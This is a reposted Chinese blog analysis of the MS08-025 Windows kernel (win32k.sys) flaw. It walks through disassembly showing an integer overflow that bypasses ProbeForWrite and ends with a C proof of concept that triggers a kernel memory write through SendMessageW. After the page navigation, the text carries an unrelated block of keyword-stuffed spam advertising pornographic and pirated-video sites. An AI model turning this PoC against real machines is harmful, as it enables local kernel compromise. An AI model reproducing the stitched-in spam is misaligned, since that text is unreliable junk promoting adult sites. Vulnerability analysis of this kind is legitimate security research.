<rt id="bn8ez"></rt>
<label id="bn8ez"></label>

  • <span id="bn8ez"></span>

    <label id="bn8ez"><meter id="bn8ez"></meter></label>

    GalaxyPilot —— D.S


            生命不熄,戰斗不止
    數據加載中……

    Windows 內核漏洞 ms08025 分析(轉)

    Author:  Polymorphours
    Email:   Polymorphours@whitecell.org
    Homepage:http://www.whitecell.org
    Date:    2008-04-10

        經內部討論后決定公布分析成果。

        4月8號microsoft再次發布了一個系統內核的補丁(KB941693),
    微軟對該漏洞的描述為: 此安全更新解決 Windows 內核中一個秘密
    報告的漏洞。 成功利用此漏洞的本地攻擊者可以完全控制受影響的
    系統。 攻擊者可隨后安裝程序;查看、更改或刪除數據;或者創建
    新帳戶。這是用于 Windows 2000、Windows XP、Windows Server 2003、
    Windows Vista 和 Windows Server 2008 所有受支持版本的重要安全
    更新。此安全更新通過修改 Windows 內核驗證從用戶模式傳遞過來的
    輸入的方式來解決此漏洞。

        從這個介紹中我們看到這個漏洞影響非常廣,從2000到2008。為了
    能一睹這個漏洞的細節,我分析了ms08-025的補丁,發現該漏洞存在于
    win32k.sys 模塊中。在這個補丁中修補了win32k.sys中的多個地方,其
    中出問題的地方非常有趣,是因為溢出寄存器來繞過 ProbeForWrite
    函數對用戶層傳來的指針的檢查,下面我們就從 NtUserfnOUTSTRING
    函數中的問題來展開我們的分析(我分析的平臺是winxp sp2)

    .text:BF86FB04 ; int __stdcall NtUserfnOUTSTRING(int,int,int,PVOID Address,int,int,int)
    .text:BF86FB04 __stdcall NtUserfnOUTSTRING(x, x, x, x, x, x, x) proc near
    .text:BF86FB04                                         ; CODE XREF: xxxDefWindowProc(x,x,x,x)+6Ep
    .text:BF86FB04                                         ; NtUserMessageCall(x,x,x,x,x,x,x)+61p
    .text:BF86FB04                                         ; xxxSendMessageToClient(x,x,x,x,x,x,x)-Ep
    .text:BF86FB04                                         ; xxxSendMessageToClient(x,x,x,x,x,x,x)+6Dp
    .text:BF86FB04                                         ; xxxWrapCallWindowProc(x,x,x,x,x)-4Bp
    .text:BF86FB04                                         ; xxxWrapCallWindowProc(x,x,x,x,x)+60p ...
    .text:BF86FB04
    .text:BF86FB04 var_24          = dword ptr -24h
    .text:BF86FB04 var_20          = dword ptr -20h
    .text:BF86FB04 UserBuffer      = dword ptr -1Ch
    .text:BF86FB04 ms_exc          = CPPEH_RECORD ptr -18h
    .text:BF86FB04 arg_0           = dword ptr  8
    .text:BF86FB04 arg_4           = dword ptr  0Ch
    .text:BF86FB04 arg_8           = dword ptr  10h
    .text:BF86FB04 Address         = dword ptr  14h
    .text:BF86FB04 arg_10          = dword ptr  18h
    .text:BF86FB04 arg_14          = dword ptr  1Ch
    .text:BF86FB04 arg_18          = dword ptr  20h
    .text:BF86FB04
    .text:BF86FB04 ; FUNCTION CHUNK AT .text:BF86FAE1 SIZE 0000001E BYTES
    .text:BF86FB04
    .text:BF86FB04                 push    14h
    .text:BF86FB06                 push    offset unk_BF98D250
    .text:BF86FB0B                 call    __SEH_prolog
    .text:BF86FB0B
    .text:BF86FB10                 xor     edx, edx
    .text:BF86FB12                 mov     [ebp+ms_exc.disabled], edx
    .text:BF86FB15                 mov     eax, [ebp+var_20]
    .text:BF86FB18                 mov     ecx, 7FFFFFFFh
    .text:BF86FB1D                 and     eax, ecx
    .text:BF86FB1F                 mov     esi, [ebp+arg_18]
    .text:BF86FB22                 shl     esi, 1Fh
    .text:BF86FB25                 or      eax, esi
    .text:BF86FB27                 mov     [ebp+var_20], eax
    .text:BF86FB2A                 mov     esi, eax
    .text:BF86FB2C                 xor     esi, [ebp+arg_8]  -> esi = 緩沖區長度
    .text:BF86FB2F                 and     esi, ecx
    .text:BF86FB31                 xor     eax, esi
    .text:BF86FB33                 mov     [ebp+var_20], eax
    .text:BF86FB36                 cmp     [ebp+arg_18], edx  -> 如果是 ansi 方式就直接進行檢查,否則需要計算unicode的大小
    .text:BF86FB39                 jnz     short loc_BF86FB47
    .text:BF86FB39
    .text:BF86FB3B                 lea     esi, [eax+eax]    <- 注意這里,問題就在這里,此時 eax = unicode字符串的長度,
                                                            <- 當 eax = 0x80000000 的時候 eax + eax = 0x100000000,32位的寄存器
                                                            <- 被溢出了,esi = 0
    .text:BF86FB3E                 xor     esi, eax
    .text:BF86FB40                 and     esi, ecx
    .text:BF86FB42                 xor     eax, esi
    .text:BF86FB44                 mov     [ebp+var_20], eax -> 保存unicode占用的空間大小
    .text:BF86FB44
    .text:BF86FB47
    .text:BF86FB47 loc_BF86FB47:                           ; CODE XREF: NtUserfnOUTSTRING(x,x,x,x,x,x,x)+35j
    .text:BF86FB47                 mov     [ebp+var_24], edx
    .text:BF86FB4A                 mov     esi, [ebp+Address]
    .text:BF86FB4D                 mov     [ebp+UserBuffer], esi
    .text:BF86FB50                 xor     ebx, ebx
    .text:BF86FB52                 inc     ebx
    .text:BF86FB53                 push    ebx             ; Alignment
    .text:BF86FB54                 and     eax, ecx
    .text:BF86FB56                 push    eax             ; Length <- 由于 eax = 0,所以ProbeForWrite被繞過
    .text:BF86FB57                 push    esi             ; Address
    .text:BF86FB58                 call    ds:ProbeForWrite(x,x,x)


    bf80a1b0 e96ef4ffff       jmp   win32k!xxxRealDefWindowProc+0x1235 (bf809623)
    bf80a1b5 d1e8             shr     eax,1
    bf80a1b7 894510           mov     [ebp+0x10],eax
    bf80a1ba ebf1             jmp    win32k!xxxRealDefWindowProc+0x190 (bf80a1ad)
    bf80a1bc 8b4514           mov     eax,[ebp+0x14]
    bf80a1bf f6400780         test    byte ptr [eax+0x7],0x80
    bf80a1c3 8b4008           mov     eax,[eax+0x8]
    bf80a1c6 7408             jz     win32k!xxxRealDefWindowProc+0x105 (bf80a1d0)
    bf80a1c8 c60000           mov     byte ptr [eax],0x0
    bf80a1cb e951f4ffff       jmp   win32k!xxxRealDefWindowProc+0x1225 (bf809621)
    bf80a1d0 668910           mov     [eax],dx    <- 在這里,對前面傳入的指針進行了2個字節的寫操作,寫入的數據為0
    bf80a1d3 e949f4ffff       jmp   win32k!xxxRealDefWindowProc+0x1225 (bf809621)
    bf80a1d8 6a00             push    0x0
    bf80a1da 6a02             push    0x2
    bf80a1dc ff7638           push    dword ptr [esi+0x38]
    bf80a1df e8d1690200       call    win32k!BuildHwndList (bf830bb5)
    bf80a1e4 8bf8             mov     edi,eax
    bf80a1e6 85ff             test    edi,edi
    bf80a1e8 0f8433f4ffff     je    win32k!xxxRealDefWindowProc+0x1225 (bf809621)
    bf80a1ee 8d7710           lea     esi,[edi+0x10]


    那么怎么觸發這個漏洞呢,我又分析了 user32.dll 和 win32k!NtUserMessageCall,
    發現觸發這個漏洞很簡單,只需要調用 SendMessageW 發送WM_GETTEXT 消息就能夠觸發了,
    下面是poc代碼(注,改代碼運行后由于在內核寫了未映射的內存,會直接藍屏,要改成可
    用的exploit,可以參考我以前的exploit)

    #include <stdio.h>
    #include <windows.h>

    int main(int argc,char *argv[])
    {
        DWORD    dwHookAddress = 0x80000000;

        printf( "\tMS08-025 Local Privilege Escalation Vulnerability Exploit(POC)\n\n" );
            printf( "Create by Whitecell's Polymorphours@whitecell.org 2008/04/10\n" );

        SendMessageW( GetDesktopWindow(), WM_GETTEXT, 0x80000000, dwHookAddress );
        return 0;
    }

    posted on 2008-04-14 13:09 舵手 閱讀(1939) 評論(1)  編輯  收藏

    評論

    # re: Windows 內核漏洞 ms08025 分析(轉)[未登錄]  回復  更多評論   

    汗,類似一個緩沖區溢出漏洞
    2008-04-14 21:32 | DoubleH

    只有注冊用戶登錄后才能發表評論。


    網站導航:
     
    主站蜘蛛池模板: 鲁丝片一区二区三区免费| 亚洲大片免费观看| 亚洲免费在线视频| 在线观看日本免费a∨视频| 精品免费AV一区二区三区| 亚洲国产精品无码av| 成人毛片18女人毛片免费| 一级有奶水毛片免费看| 亚洲毛片基地4455ww| 亚洲一区二区三区免费| 无码中文在线二区免费| 国产精品免费看久久久香蕉| 亚洲一区二区久久| 亚洲综合伊人久久综合| 成人免费男女视频网站慢动作| AAAAA级少妇高潮大片免费看 | 亚洲国产成人久久精品软件| 亚洲无线观看国产精品| 在线免费观看污网站| 久久香蕉国产线看免费| 暖暖免费中文在线日本| 亚洲国产人成在线观看| 国产精品亚洲一区二区三区在线 | 亚洲AV无码一区二区三区在线 | 亚洲av永久无码精品秋霞电影秋| 亚洲VA中文字幕无码毛片| 国产精品四虎在线观看免费| 9420免费高清在线视频| 一区二区三区在线免费观看视频| 亚洲情A成黄在线观看动漫软件| 亚洲综合精品香蕉久久网| 四虎影视大全免费入口| 1000部拍拍拍18免费网站| 国内永久免费crm系统z在线| 污视频网站免费在线观看| 亚洲欧美日韩国产成人| 精品亚洲成A人无码成A在线观看| 婷婷亚洲久悠悠色悠在线播放| 久久99亚洲综合精品首页| 免费一级毛片不卡不收费| 在线观看免费成人|